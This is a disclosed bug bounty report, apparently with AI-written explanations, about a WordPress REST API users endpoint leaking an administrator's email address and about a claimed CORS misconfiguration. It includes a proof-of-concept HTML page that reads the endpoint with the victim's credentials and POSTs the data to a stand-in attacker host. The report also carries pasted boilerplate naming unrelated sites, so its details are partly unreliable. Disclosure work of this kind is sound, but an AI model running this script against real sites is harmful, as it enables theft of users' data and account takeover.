Unauthorized access to PII leads to Administrator account Takeover
The WordPress REST API endpoint for users exposed administrator email addresses without authentication. An attacker could use the leaked email to brute-force the password or send password reset requests, potentially leading to account takeover.
- Triaged in 40 hours
- Fixed in 3 months
- Disclosed after 11 months
Summary:
This vulnerability is present in the wp-json/wp/v2/users/15 file located in the wordpress directory endpoints. This flaw arises from insufficient restrictions placed on the list of post authors, which can be exploited by remote attackers to obtain sensitive information through wp/v2/users/15 requests attackers can obtain sensitive information in the form of email addresses (PII Leaks) and will be used in wp-login to send forget password or brute-force password requests.
Descriptions:
An cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request. If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. This bug could be used to steal users information or force the user to execute unwanted actions. As long that a legit and logged in user is lure to access a attacker controlled HTML page CORS misconfiguration is found on vanillaforums.com as Access-Control-Allow-Credentials: true.
Platform(s) Affected: [website] https://www.mtn.com/wp-json/wp/v2/users/15
Steps To Reproduce:
- Navigate visit hostname or directory on https://www.mtn.com/wp-json/wp/v2/users/9
- Intercept request to
burp-suiteand you will see unauthenticated APIsadministrator_loginemail address exposed

- copy this scripts and save file as
.htmland open in our browsers
<!DOCTYPE html>
<html>
<body>
<center>
<h3>Steal administrator PII data!</h3>
<html>
<body>
<button type='button' onclick='cors()'>Exploit</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://burpcollaborator-intruder-evil.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://www.mtn.com/wp-json/wp/v2/users/15", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
Supporting Material/References:
- It's possible to remove this access for anyone by change the source code where when someone request the Rest API and the server send a 404 (Not Found) message for the user who made the request.
- It's also possible to create a rewrite rule on
.htaccess(if the webserver it's Apache) to redirect any request that contain rest_route (eg.: "^.rest_route=/wp-json/wp/v2/users/15") to a Not Found (404) or a Default Page.
Impact
- Attacker get sensitive information PII Leaks (email adress)
- Attacker can brute-force the password use the valid administrator login
- CORS Misconfiguration, could lead to disclosure of sensitive information
- Attacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server.
- This website using Wordpress , so developer forget to enable authenticator in the APIs that can view information of admin user. By access to this link, attacker can get
usernameandemail_addressand other information of user admin.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the WordPress REST API users endpoint was left publicly accessible without authentication or authorisation checks, exposing user data including email addresses.
Impact
An attacker could obtain administrator email addresses and use them for brute-force or password reset attacks, potentially leading to account takeover; the CORS misconfiguration could also allow theft of data from logged-in users.
What the attacker needed
None for unauthenticated access; victim must be logged in for CORS attack
The fix
The REST API users endpoint should require authentication and authorisation, or be restricted to prevent unauthenticated access to user data.
How it was found
- Visit the WordPress REST API users endpoint for a specific user ID.
- Intercept the request and observe that the administrator's email address is returned without authentication.
- Host an HTML page that makes a cross-origin request to the endpoint and sends the response to an attacker-controlled server.
- Lure a logged-in victim to the page to steal their data via CORS misconfiguration.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website built on WordPress has a feature that lists user details. The site did not check if the person asking was logged in, so anyone could see the email address of the administrator. With that email, an attacker could try to guess the password or use the 'forgot password' form to take over the account.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.